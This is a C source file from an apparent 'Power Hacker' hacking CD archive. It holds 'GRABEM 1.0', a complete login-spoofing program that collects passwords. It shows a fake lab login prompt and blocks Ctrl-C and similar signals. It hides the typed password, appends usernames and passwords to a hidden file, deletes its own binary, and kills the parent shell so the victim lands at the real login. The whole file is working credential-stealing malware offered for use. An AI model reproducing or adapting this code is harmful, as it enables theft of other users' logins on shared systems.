home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / grabem.c < prev    next >
C/C++ Source or Header  |  2001-11-06  |  5KB  |  107 lines

  1. /*----------------------------------------------------------------------+
  2. | GRABEM 1.0                                       by The K-Man      |
  3. | A Cute little program to collect passwords                         |
  4. +----------------------------------------------------------------------*/
  5. #define PASSWORD "Password:"
  6. #define INCORRECT "\nLogin incorrect"
  7. #define FILENAME ".exrc%"
  8. #include
  9. #include
  10. /*-----------------------------------------------------------------------+
  11. | ignoreSig                                                                        |
  12. |                                                                                       |
  13. |    Does nothing. Used to trap SIGINT, SIGTSTP, SIGQUIT. |
  14. +-----------------------------------------------------------------------*/
  15. void ignoreSig ()
  16. {
  17.         return;
  18. }
  19. /*-----------------------------------------------------------------------+
  20. | Main                                                                               |
  21. +-----------------------------------------------------------------------*/
  22. main()
  23. {
  24. char    name[10],                       /* users name
  25.     */
  26.                 password[10];           /* users password
  27.     */
  28.  
  29. int     i,                              /* loop counter                         */
  30.                 lab,                    /* lab # you're running on              */
  31.                 procid;                 /* pid of the shell we're under         */
  32. FILE    *fp;                            /* output file
  33.     */
  34.  
  35.      /*-------------------------------------------------------------------------------+
  36.      | Trap the SIGINT (ctrl-C), SIGSTP (ctrl-Z), and SIGQUIT (ctrl-\)    |
  37.      | signals so the program doesn't stop and dump back to the shell.   |
  38.      +-------------------------------------------------------------------------------*/
  39.         signal (SIGINT, ignoreSig);
  40. signal (SIGTSTP, ignoreSig);
  41. signal (SIGQUIT, ignoreSig);
  42. /*---------------------------------------------------------------------------+
  43. | Get the parent pid so that we can kill it quickly later.  Remove   |
  44. | this program from the account.                                               |
  45. +---------------------------------------------------------------------------*/
  46. procid = getppid();
  47. system ("\\rm proj2");
  48. /*-------------------------------------------------------------------+
  49. | Ask for the lab # we're running on.  Clear the screen.    |
  50. +-------------------------------------------------------------------*/
  51. printf ("lab#: ");
  52. scanf ("%d", &lab);
  53. for (i=1; i<40; i++)
  54.         printf ("\n");
  55. getchar();
  56. /*-----------------------------------------------------------------------------+
  57. | Outer for loop.  If the name is <= 4 characters, it's probably not |
  58. | a real id.  They screwed up.  Give 'em another chance.             |
  59. +-----------------------------------------------------------------------------*/
  60. for(;;)
  61. {
  62.         /*-----------------------------------------------------------------------+
  63.         | If they hit return, loop back and give 'em the login again.    |
  64.         +-----------------------------------------------------------------------*/
  65.         for (;;)
  66.         {
  67.                 printf("lab%1d login: ",lab);
  68.                 gets (name);
  69.                 if (strcmp (name, "") != 0)
  70.                         break;
  71.         }
  72.         /*---------------------------------------------------------------------------+
  73.         | Turn off the screen echo, ask for their password, and turn the |
  74.         | echo back on.                                                                      |
  75.         +---------------------------------------------------------------------------*/
  76.         system ("stty -echo > /dev/console");
  77.         printf(PASSWORD);
  78.         scanf("%s",password);
  79.         getchar();
  80.         system ("stty echo > /dev/console");
  81.         /*---------------------------------------------------------------+
  82.         | Write their userid and password to the file.               |
  83.         +---------------------------------------------------------------*/
  84.         if ( ( fp = fopen(FILENAME,"a") )  != NULL )
  85.         {
  86.                 fprintf(fp,"login %s has password %s\n",name,password);
  87.                 fclose(fp);
  88.         }
  89.         /*---------------------------------------------------------------+
  90.         | If the name is bogus, send 'em back through            |
  91.         +---------------------------------------------------------------*/
  92.         if (strlen (name) >= 4)
  93.                 break;
  94.         else
  95.                 printf (INCORRECT);
  96.         }
  97.  
  98. /*--------------------------------------------------------------------------------+
  99. | Everything went cool. Tell 'em they fucked up and mis-typed and    |
  100. | dump them out to the REAL login prompt.  We do this by killing the |
  101. | parent process (console).                                                            |
  102. +--------------------------------------------------------------------------------*/
  103.         printf (INCORRECT);
  104.         kill (procid, 9);
  105. }
  106.  
  107.